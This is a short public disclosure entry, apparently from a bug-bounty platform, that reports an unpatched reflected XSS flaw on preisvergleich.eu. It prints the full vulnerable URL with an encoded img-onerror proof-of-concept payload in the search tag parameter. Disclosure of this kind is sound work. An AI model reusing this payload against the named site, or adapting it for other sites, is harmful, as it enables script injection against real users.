preisvergleich.eu XSS vulnerability

Vulnerable URL: http://www.preisvergleich.eu/search/?tag=%3E%27%3E%22%3Et%3Ci%3Ep%3Cimg+src%3Dx+onerror%3Dprompt%28%2Fopenbugbounty%2F%29%3E Details: Description| Value ---|--- Patched:| No Latest check for patch:| 29.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Alex...